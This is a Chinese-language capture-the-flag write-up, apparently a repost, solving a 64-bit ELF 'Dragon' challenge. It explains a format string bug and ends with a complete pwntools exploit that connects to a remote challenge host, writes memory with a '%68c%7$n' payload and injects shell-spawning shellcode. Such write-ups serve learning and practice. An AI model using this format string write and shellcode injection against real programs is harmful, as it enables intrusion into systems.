题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
题目附件:
file如下:
64位ELF文件
checksec如下:
IDE反汇编,查看main:
它打印出了v3的地址和v3[1]的地址
查看sub_400996:
查看sub_400D72:
让输入一个长度小于等于12的字符串作为名字
查看sub_400A7D:
然后让选择前进的方向,看起来只允许选择east
查看sub_4009DD:
似乎这个函数会让角色疯狂做选择,迟早都是死
查看sub_400BB9:
首先让做一个选择,进入还是离开,程序应该是让选择1进入
进入后可以输入一个地址,然后存在一个格式化字符串漏洞
查看sub_400CA6:
如果a1[0]=a1[1],那么就可以执行一个shellcode,这就是我们的目标了
a1是由sub_400D72传入的,而sub_400D72中的a1又是main函数传入的v4,也就是v3的地址,所以比较的就是v3[0]和v3[1],初始v3[0]=68,v3[1]=85,这两个的地址程序又给我们已经打印了出来,我们就尝试利用sub_400BB9中的格式化字符串漏洞将v3[0]和v3[1]修改成相等的(改哪个都行)
通过调试,可以得知,输入的地址位于栈从顶向下的第二个:
因此我们便可以在输入地址的时候输入v3[0]或者v3[1]的地址,然后printf时第7个位置就是我们的目标地址
exp如下:
from pwn import * context.arch = ‘amd64‘ #io = process(‘./pwn‘) io = connect(‘220.249.52.133‘, 34813) p = b‘.%x‘*0x20 io.recvuntil(‘is ‘) address1 = int(io.recvline().strip(), 16) io.recvuntil(‘is ‘) address2 = int(io.recvline().strip(), 16) payload = b‘%68c%7$n‘ io.sendlineafter(‘be:‘, ‘name‘) io.sendlineafter(‘up?:‘, ‘east‘) io.sendlineafter(‘leave(0)?:‘, ‘1‘) io.sendlineafter("address‘", str(address2)) io.sendlineafter(‘is:‘, payload) io.sendlineafter(‘SPELL‘, asm(shellcraft.amd64.linux.sh())) io.interactive()
原文:https://www.cnblogs.com/hktk1643/p/14088277.html